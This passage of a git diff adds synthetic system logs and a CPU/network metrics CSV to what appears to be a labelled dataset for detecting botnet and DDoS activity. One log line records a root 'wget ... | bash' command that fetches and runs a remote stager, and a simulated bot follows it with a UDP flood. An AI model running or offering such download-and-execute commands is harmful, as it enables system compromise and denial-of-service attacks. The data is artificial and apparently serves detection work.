PROTO=UDP SPT=49496 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54354 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35587 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13490 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59941 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=11958 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36803 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=15276 DPT=80 +Aug 16 16:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48987 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27583 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45159 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29658 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23387 DPT=80 +Aug 16 16:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18335 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13827 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18274 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57810 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34904 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25779 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10504 DPT=80 +Aug 16 16:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27387 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20084 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13113 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=36928 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56512 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27801 DPT=80 +Aug 16 16:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58806 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16973 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46603 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29367 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17377 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=61517 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48189 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=40788 DPT=80 +Aug 16 16:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64094 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16003 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=61539 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34659 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44827 DPT=80 +Aug 16 16:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45679 DPT=80 +Aug 16 16:06:40 systemd[1]: Starting Clean php session files... +Aug 16 16:06:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14156 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32921 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56378 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=31732 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13753 DPT=80 +Aug 16 16:06:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34918 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54607 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26910 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46138 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54344 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26193 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25642 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17120 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16567 DPT=80 +Aug 16 16:06:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64065 DPT=80 +Aug 16 16:06:50 bot-agent[23499]: Flood finished. Cleaning up child processes. +Aug 16 16:07:05 CRON[1985]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_4.csv b/mali_dataset/scenario_2/mali_2_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..0067a513e980d00e4b73e323cde36834ba4d44b7 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T18:00:00Z,12.74,45.29,32.62,1.67,2.57 +2025-08-16T18:00:05Z,16.75,47.61,31.88,1.24,2.44 +2025-08-16T18:00:10Z,8.62,41.71,30.2,1.66,1.51 +2025-08-16T18:00:15Z,15.98,43.32,23.67,1.58,1.9 +2025-08-16T18:00:20Z,15.14,43.58,33.86,1.72,2.75 +2025-08-16T18:00:25Z,8.32,48.11,23.39,1.9,2.26 +2025-08-16T18:00:30Z,10.78,48.82,31.19,1.95,2.6 +2025-08-16T18:00:35Z,10.7,40.86,27.73,1.04,1.73 +2025-08-16T18:00:40Z,17.2,42.33,29.62,1.02,1.82 +2025-08-16T18:00:45Z,9.79,43.92,23.76,1.66,1.55 +2025-08-16T18:00:50Z,16.7,45.92,27.04,1.24,1.93 +2025-08-16T18:00:55Z,13.28,44.63,23.73,1.72,2.28 +2025-08-16T18:01:00Z,14.63,47.82,21.75,1.52,1.57 +2025-08-16T18:01:05Z,11.06,43.2,29.89,1.49,1.75 +2025-08-16T18:01:10Z,14.02,40.45,28.43,1.28,1.9 +2025-08-16T18:01:15Z,13.55,40.14,34.24,1.87,1.61 +2025-08-16T18:01:20Z,16.26,49.47,28.66,1.39,2.56 +2025-08-16T18:01:25Z,13.69,41.93,33.9,1.89,1.71 +2025-08-16T18:01:30Z,8.15,44.07,27.55,1.38,2.64 +2025-08-16T18:01:35Z,17.92,42.68,30.89,1.21,1.8 +2025-08-16T18:01:40Z,16.87,42.85,29.22,1.49,2.78 +2025-08-16T18:01:45Z,17.96,46.43,27.48,1.29,1.51 +2025-08-16T18:01:50Z,17.1,46.96,34.33,1.99,2.37 +2025-08-16T18:01:55Z,12.5,42.19,25.49,1.94,1.86 +2025-08-16T18:02:00Z,12.17,47.22,33.41,1.12,1.75 +2025-08-16T18:02:05Z,10.61,43.86,28.16,1.72,2.79 +2025-08-16T18:02:10Z,99.66,57.76,4.81,0.58,975.74 +2025-08-16T18:02:15Z,98.42,55.36,5.12,0.25,901.33 +2025-08-16T18:02:20Z,97.1,57.7,5.93,0.59,1069.06 +2025-08-16T18:02:25Z,96.2,53.43,5.4,0.37,1107.3 +2025-08-16T18:02:30Z,98.24,54.81,2.19,0.39,974.57 +2025-08-16T18:02:35Z,97.1,55.39,4.99,0.24,922.56 +2025-08-16T18:02:40Z,96.35,57.61,2.32,0.47,1050.59 +2025-08-16T18:02:45Z,96.42,57.68,5.37,0.53,1090.84 +2025-08-16T18:02:50Z,99.3,54.81,3.29,0.31,1072.02 +2025-08-16T18:02:55Z,97.98,59.85,2.83,0.22,1119.63 +2025-08-16T18:03:00Z,97.09,53.15,2.65,0.51,1039.31 +2025-08-16T18:03:05Z,96.12,52.62,2.07,0.59,1037.43 +2025-08-16T18:03:10Z,98.22,57.47,2.67,0.21,1062.12 +2025-08-16T18:03:15Z,99.73,57.73,2.83,0.58,930.2 +2025-08-16T18:03:20Z,98.34,50.03,5.91,0.4,940.07 +2025-08-16T18:03:25Z,97.2,58.09,3.29,0.43,1028.76 +2025-08-16T18:03:30Z,99.02,54.83,3.49,0.29,1020.75 +2025-08-16T18:03:35Z,96.52,55.6,2.06,0.27,916.99 +2025-08-16T18:03:40Z,99.21,50.94,4.09,0.32,1056.12 +2025-08-16T18:03:45Z,97.93,57.09,2.73,0.46,957.04 +2025-08-16T18:03:50Z,97.74,59.55,3.62,0.56,1182.45 +2025-08-16T18:03:55Z,98.04,55.91,4.49,0.29,930.47 +2025-08-16T18:04:00Z,96.61,52.41,2.52,0.29,1041.75 +2025-08-16T18:04:05Z,96.46,58.18,4.8,0.49,1020.11 +2025-08-16T18:04:10Z,98.27,50.46,2.97,0.25,1081.52 +2025-08-16T18:04:15Z,96.26,54.08,3.81,0.58,935.11 +2025-08-16T18:04:20Z,97.35,54.21,2.88,0.39,1094.33 +2025-08-16T18:04:25Z,97.97,54.39,2.1,0.43,1032.54 +2025-08-16T18:04:30Z,96.39,53.42,3.92,0.48,1015.98 +2025-08-16T18:04:35Z,97.04,56.2,3.59,0.37,1169.85 +2025-08-16T18:04:40Z,96.36,57.04,3.5,0.31,933.75 +2025-08-16T18:04:45Z,98.67,58.1,5.88,0.55,1117.71 +2025-08-16T18:04:50Z,99.69,51.71,3.09,0.49,1047.51 +2025-08-16T18:04:55Z,98.71,50.31,5.35,0.32,1057.88 +2025-08-16T18:05:00Z,99.84,57.84,2.08,0.24,1042.88 +2025-08-16T18:05:05Z,96.36,50.76,5.92,0.28,1056.46 +2025-08-16T18:05:10Z,98.17,58.5,2.54,0.31,1160.53 +2025-08-16T18:05:15Z,96.9,59.48,3.01,0.57,1192.84 +2025-08-16T18:05:20Z,98.89,57.43,5.12,0.41,1104.0 +2025-08-16T18:05:25Z,97.92,59.22,4.3,0.53,1003.64 +2025-08-16T18:05:30Z,97.57,54.49,5.07,0.58,1124.27 +2025-08-16T18:05:35Z,97.58,55.38,4.7,0.24,949.03 +2025-08-16T18:05:40Z,98.29,52.72,3.52,0.56,964.39 +2025-08-16T18:05:45Z,99.39,55.74,2.82,0.22,1041.19 +2025-08-16T18:05:50Z,97.54,53.23,4.69,0.59,1091.97 +2025-08-16T18:05:55Z,99.61,52.61,2.45,0.27,969.17 +2025-08-16T18:06:00Z,99.85,53.8,5.31,0.37,1084.89 +2025-08-16T18:06:05Z,96.6,56.64,5.98,0.58,1044.6 +2025-08-16T18:06:10Z,97.04,50.88,4.82,0.49,989.6 +2025-08-16T18:06:15Z,97.34,58.88,4.56,0.41,935.78 +2025-08-16T18:06:20Z,99.02,53.62,3.26,0.56,1084.54 +2025-08-16T18:06:25Z,99.1,55.49,5.37,0.3,1132.3 +2025-08-16T18:06:30Z,99.47,59.91,3.18,0.45,1055.86 +2025-08-16T18:06:35Z,96.93,50.02,3.43,0.35,999.11 +2025-08-16T18:06:40Z,18.42,45.03,25.73,1.0,1.96 +2025-08-16T18:06:45Z,19.77,51.19,29.48,1.15,2.55 +2025-08-16T18:06:50Z,13.05,48.46,37.9,1.09,2.86 +2025-08-16T18:06:55Z,19.79,47.54,29.63,1.42,2.68 +2025-08-16T18:07:00Z,17.6,44.56,29.81,1.52,2.41 +2025-08-16T18:07:05Z,17.55,50.81,24.71,1.61,2.45 +2025-08-16T18:07:10Z,13.61,44.15,31.91,1.55,2.82 +2025-08-16T18:07:15Z,16.61,51.97,23.41,0.98,2.82 +2025-08-16T18:07:20Z,11.39,45.1,37.52,1.3,3.15 +2025-08-16T18:07:25Z,12.86,43.18,25.7,1.76,3.49 diff --git a/mali_dataset/scenario_2/mali_2_4.log b/mali_dataset/scenario_2/mali_2_4.log new file mode 100644 index 0000000000000000000000000000000000000000..6f00da82c42f12f9b19a213faff1cc3719346176 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_4.log @@ -0,0 +1,392 @@ +Aug 16 18:00:00 systemd[1]: Starting Clean php session files... +Aug 16 18:00:05 CRON[1901]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:00:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 18:01:05 CRON[1913]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:01:40 systemd[1]: Starting Clean php session files... +Aug 16 18:02:05 CRON[1925]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:02:10 bash[23456]: (root) CMD (wget -q -O - http://192.168.50.10/stager | bash) +Aug 16 18:02:12 bot-agent[23499]: Executing UDP flood against 192.0.2.254:80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42665 DPT=80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44980 DPT=80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38862 DPT=80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10608 DPT=80 +Aug 16 18:02:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47238 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16157 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41543 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60539 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=35409 DPT=80 +Aug 16 18:02:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61664 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49988 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33735 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15118 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31136 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60392 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18822 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49351 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21543 DPT=80 +Aug 16 18:02:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40688 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37119 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11551 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47209 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=28551 DPT=80 +Aug 16 18:02:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48697 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13216 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=58952 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15910 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=53154 DPT=80 +Aug 16 18:02:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=14246 DPT=80 +Aug 16 18:02:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41076 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29569 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26541 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18412 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24442 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21536 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61864 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10706 DPT=80 +Aug 16 18:02:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47041 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27262 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25757 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27968 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15866 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=35478 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12652 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=52482 DPT=80 +Aug 16 18:02:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43593 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11030 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19453 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12582 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19400 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39882 DPT=80 +Aug 16 18:02:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34317 DPT=80 +Aug 16 18:02:55 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29874 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44660 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26449 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38514 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65118 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34411 DPT=80 +Aug 16 18:02:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50625 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65139 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33586 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23472 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10221 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48611 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=33908 DPT=80 +Aug 16 18:03:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12748 DPT=80 +Aug 16 18:03:05 CRON[1937]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65011 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27731 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40836 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=19793 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16381 DPT=80 +Aug 16 18:03:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=57198 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45102 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24237 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48992 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43082 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=55557 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24328 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40030 DPT=80 +Aug 16 18:03:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60132 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39797 DPT=80 +Aug 16 18:03:15 kernel: [NETFILTER] Packet ALLOWED: 